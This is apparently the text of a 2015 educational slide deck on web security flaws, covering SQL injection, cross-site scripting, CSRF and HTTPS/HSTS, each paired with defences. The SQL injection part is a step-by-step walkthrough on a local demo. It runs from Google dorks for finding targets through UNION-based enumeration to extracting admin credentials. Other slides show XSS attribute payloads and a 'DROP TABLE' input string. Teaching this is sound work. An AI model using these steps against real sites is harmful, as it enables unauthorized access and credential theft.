Widespread security flaws in web application development 2015

Widespread security flaws in web
application development
Martin Ahchiev
Content is available under a Creative Commons 3.0 License unless otherwise noted.

2Widespread security flaws in web application development
FOCUS ON COMMON SECURITY
CHALLENGES
YOU ALREADY NEED TO KNOW
WEB PROGRAMMING

FACT:
THE VAST
MAJORITY OF WEB
APPLICATION HAVE
SECURITY VULNERABILITIES!
MOST DEVELOPERS NOT AWARE OF THE ISSUES

Attacker can access unauthorized data!
They use your website to attack your
users
We will cover many attacks later in this
demo
Most Sites Not Secure

 The WEB wasn’t designed to be secure!
 Built for static, read-only pages
 Almost no intrinsic security
 A few security features were “bolted on”
later
 Security and defensive development
style
HTTP History

DATABASE
BROWSER
FIREWALL
WEB SERVER
WEB SERVICE
ACCESS CONTROLAUTH SERVICE
XSS
CSRF
PACKET
SNIFFING
FORGED
TOKEN DIRECT
OBJECT
REFERENCE
SQL
INJECTION
DIRECTORY
TRAVERSAL
XML
INJECTION

OWASP - The Ten Most Critical Web
Application Security Risks
SANS Institute - CWE/SANS TOP 25 Most
Dangerous Software Errors
Organizations that contributed vulnerability
statistics
 Aspect Security
 MITRE
 Softtek
 White Hat
Ranking of Web Security Vulnerabilities

9
In next 10 minutes…
Widespread security flaws in web application development
SQL Injection Explained
Hands-On Example
The Basic Fixes
More Resources

10
OWASP Top 10 - 2013
INJECTION ATTACKS ARE A SERIOUS PROBLEM
“SQL Injection is an old problem –
so I don’t have to worry about it “

11
OWASP Top 10 - 2013

12
Typical Scenario
Our Users Will
Enter Their Name
Here
Bob

13
Typical Scenario
Bob
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob
Bob

14
Typical Scenario
DATABASE
SELECT * FROM users WHERE name = ‘Bob’
JUST RETURNS
ROWS FOR Bob

15
Typical Scenario
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE

16
SQL Injection Attack
Our Users Will
Enter Their Name
Here
Bob’ or ‘1’=‘1’

17
ob’ or ‘1’=‘1’
WEB SERVER DATABASE
private void queryDB(String u_name) {
string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”;
doQuery(sql);
}
In Application Code
Bob’ or ‘1’=‘1’
Bob’ or ‘1’=‘1’

18
DATABASE
SELECT * FROM users WHERE name = ‘Bob’ or ‘1’=‘1’
JUST RETURNS ROWS
FOR Bob OR WHENEVER
ONE EQUALS ONE
(ALL ROWS)

19
Hands-On Example: Step 1
HOW ATTACKERS SEARCH FOR TARGETS
 DORKS
 EXAMPLES:
1. "details.php?id=xxx"
2. "gallery.php?id="
3. inurl:"products.php?prodID="

20
HOW ATTAKERS TEST TARGETS FOR
VULNERABILITIES
http://www.localhost:999/newsdetails.aspx?id=51

21
HOW ATTACKERS TEST TARGETS FOR
VULNERABILITIES
Let’s add an single quote “ ‘ ”at the end of the URL
http://www.localhost:999/newsdetails.aspx?id=51‘
SQL Code:
SELECT * FROM NEWS WHERE id = 5 '

22
Finding the number of columns
 NoError/Error statements
 "order by X--" where "X" is a random integer number
 EXAMPLE:
http://www.localhost:999/newsdetail.php?id=51 order by 12--

23
How about we go down a bit to "order by 5--"

24
How attackers find Vulnerable Columns
 UNION SELECT command
 EXAMPLE:
SELECT * FROM users UNION SELECT * FROM admin
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3

25
 INVALIDATE THE FIRST QUERY
 EXAMPLES:
http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
1. http://www.localhost:999/newsdetail.php?id=51+and+0+union+select+1,2,3
2. http://www.localhost:999/newsdetail.php?id=51+and+false+union+select+
1,2,3
3. http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
4. http://www.localhost:999/newsdetail.php?id=null+union+select+1,2,3
5. http://www.localhost:999/newsdetail.php?id=51+&&+0+union+select+1,2,3

26
EXAMPLES:
http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3

27
Obtaining the SQL Version
 @@version
http://www.localhost:999/newsdetail.php?id=-
51+union+select+1,@@version,3
 convert(@@version using latin1)
51+union+select+1,convert(@@version using latin1),3
 unhex(hex(@@version))
51+union+select+1,unhex(hex(@@version)),3

28
Obtaining the SQL Version
database() - find the current database
user() - find the user information
@@hostname - current hosting info
@@datadir - directory of the data of the website

29
Obtaining the Table Names
 information_schema.tables
51+union+select+1,table_name,3+from+information_schema.tab
 group_concat()
51+union+select+1,group_concat(table_name),3 from
information_schema.tables

30
Obtaining the Column Names form
Table Names
 informaiton_schema.columns instead of
informtion_schema.tables
 column_name instead of table_name
 +from+information_schema.columns where
table_name=TableNameHEX - tblAdmin
51+union+select+1,group_concat(column_name),3 from
information_schema.columns where table_name=0x74626c61646d696e--

31
Getting Data from Columns
 concat() function
 Separator = 0x3a (a hex for a colon " : ")
 table name = tbladmin
 http://www.md5decrypter.co.uk
http://www.localhost:999/newsdetail.php?id=-51
+union+select+1,concat(username,0x3a,password),3+from+tblAd
min

32
SQL Injection
 SQL INJECTION = HUGE RISK
 CAN COMPROMISE ALL YOUR DATA
 SINGLE INJECTION FLAW CAN LEAD
TO COMPLETE SERVER TAKEOVER!

33
Defense Against SQL Injection
HOW CAN WE DEFEND OURSELVES?
 Prepared Statements
 Stored Procedures
 Escaping All User Supplied Input
 Least Privilege
 White List Input Validation

34
Parameterized Queries
Prepared Statements
String custname = request.getParameter("customerName");
// This should REALLY be validated
String query = "SELECT account_balance FROM
user_data WHERE user_name = ? ";
PreparedStatement pstmt =
connection.prepareStatement( query );
pstmt.setString( 1, custname);
ResultSet results = pstmt.executeQuery( );
Data from user

35
Parameterized Queries
Stored Procedures
String custname = request.getParameter("customerName");
// This should REALLY be validated
try {
CallableStatement cs =
connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1, custname);
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) { // … logging and error handling }

36
SQL Injection Prevention
 Least Privilege - Always minimize database
privileges to reduce the impact of a flaw
 White List Input Validation
"(555)123-1234",
"555.123.1234", and
"555";DROP TABLE USER;--123.1234“
all convert to 5551231234

37
SQL Injection Prevention
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MOREPrepared
Statements
Stored
Procedure
Escaping

38
Cross - Site Scripting (XSS)
XSS Explained
Three Examples of XSS
The Basic Fixes
More Resources

39
OWASP Top 10 - 2013

40
EXAMPLE #1
TARGET OF XSS
A BRIEF COMPARISON
OF SQL INJECTION
AND XSS
THE TARGET OF SQL INJECTION IS
THE DATABASE SERVER
THE TARGET OF XSS ARE
OTHER USERS

GOAL: DISTRIBUTES MALICIOUS SCRIPTS
XSS DEFINED:
XSS IS SCRIPT INJECTION

Attacker VideoTutorialsSite
Cross-Site Scripting

VideoTutorialsSite

44
EXAMPLE #2
VideoTutorialsSite
Description
BROWSER
XSS IN MORE DETAIL…

45
EXAMPLE #2
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content
Video Training Description

VideoTutorialsSite

47
EXAMPLE #2
Static Content
User Supplied
Content Video Training Description

48
Normal Execution Flow
THE APPLICATION SEEMS TO WORK
BUT IT’S NOT SECURE

49
EXAMPLE #2
VideoTutorialsSite
<script>/*Evil code*/</script>

50
EXAMPLE #2
<HTML>
<BODY>
<H1>Upload Video</H1>
<H2>Description</H2>
</BODY>
</HTML>
Static Content
User Supplied
Content

VideoTutorialsSite
EXAMPLE #2

52
EXAMPLE #2
Attackers Can Use
JavaScript to ….
 Steal your session ID
 Rewrite any part of the
HTML page
 Overlay the Login
Screen with their own,
to steal the username
and password

CAN WE BLOCK THE
<script> TAG
AND BE SAFE?
NO

EXAMPLE #3
XSS without <script> tag

55
EXAMPLE #3
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice
“Alice”

NOW CONSIDER THIS INPUT
Alice” onmouseover=“/*evil_action*/
EXAMPLE #3

57
EXAMPLE #3
RESULTING CODE SNIPPET
Enter your name:
<input type=“text” id=“uname”
value=“”
/>
GUEST BOOK
Alice” onmouseover=“/*evil*/
“Alice” onmouseover=“/*evil*/“

HOW DO WE STOP XSS?

59
XSS Fixes
 Developers fails to properly validate and
encode the input data
 XSS can only be prevented by secure
coding practices
 Encoding must be contextual!

60
XSS Fixes
 PARTIAL LISTING
OF CONTEXTS
 EACH CONTEXT
MUST BE ENCODED
DIFFERENTLY
<HTML>
<HEAD>
</HEAD>
</HTML>
<STYLE>
Property: …
</STYLE>
<SCRIPT>
alert(‘…’)
</SCRIPT>
<BODY>
…
</BODY>
<img src=“…”/>
<div attr=“…”></div>

61
More Resources
NOW YOU KNOW THE BASICS
BUT YOU NEED TO KNOW MORE
7 XSS
PREVENTION
RULES

62
More Resources
Multiple
Contextual
Encodings

63
CSRF
 sea surf
 one-click attack
 session riding
Cross Site Request Forgery abbreviated as
CSRF and XSRF is also known as:

64
OWASP Top 10 - 2013

Typical CSRF Scenario
e-Banking
Attacker’s website
Auth
Request
Site loaded
Malicious
link
Malicious
Request embedded
Authenticated request

CSRF Attack in more detail..
e-Banking
Authenticated request to transfer money online
Mr. Victim
HTTP POST https://mybank.com/transfer
Auth-cookie: 5234d574s4
TargetAccountNumber: 53645634635785
Amount:2000.00
Attacker forges request

67
CSRF Prevention
 Validating a secret token
Include a secret token with each request and to validate
that the received token is correctly bound to the user's
session.
 Validating the HTTP Referer header
Accept requests only from trusted sources by verifying
the referer header.

68
More resources

HTTP Strict
Transport Security
HSTS

Common attack vectors
SSL
downgrading
SSL
Stripping
Use of fake
of SSL certs
Attacks

Problem:
Sensitive data
transmitted in
the
clear…
Bob
**********

Problem:
Sensitive data
transmitted in
the
clear…

EXAMPLE #1
HTTPS Only
During
Login

Example #1
Corporate eMail
Credentials

Example #1
Corporate eMail
List of e-mails
Session Cookie
List of e-mails
Session Cookie
Session Hijacking

Using HTTPS, the attacker could see the
password
But they were able to steal the session cookie
and see all transmitted data
Solution: Move entire site to HTTPS
HTTPS ensures authenticity, and prevents
spaying
HTTPS
There Are Still Several Risks…

EXAMPLE #2
MAN-In-the-Middle

Example #2
Corporate eMail
Credentials
http://www.corp-email.com
302
redirect
https://www.corp-email.com
Credentials
The unsecured HTTP Request is vulnerable to attack

Example #2
Corporate eMail
Man-In-The-Middle Attack

Example #2
SOLUTION:
STRICT TRANSPORT SECURITY
HTTP HEADER

HSTS
 The header is sent over secure connection
 HSTS converts HTTP links to HTTPS in browser
 Conversion happens entirely in the browser
 The security flag also prevents accepting untrusted
connections

HSTS
The HSTS is language independent
Only requires to put the header in any
response
The HSTS flag will ONLY be honored if sent
over HTTPS!

Browsers

86
More resources

This demo is only
a starting point…
Conclusions &
Recommendations

Content is available under a Creative Commons 3.0 License unless otherwise noted.
martin@ahchiev.com

Widespread security flaws in web application development 2015

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to Widespread security flaws in web application development 2015

Similar to Widespread security flaws in web application development 2015 (20)

Recently uploaded

Recently uploaded (20)

Widespread security flaws in web application development 2015

Editor's Notes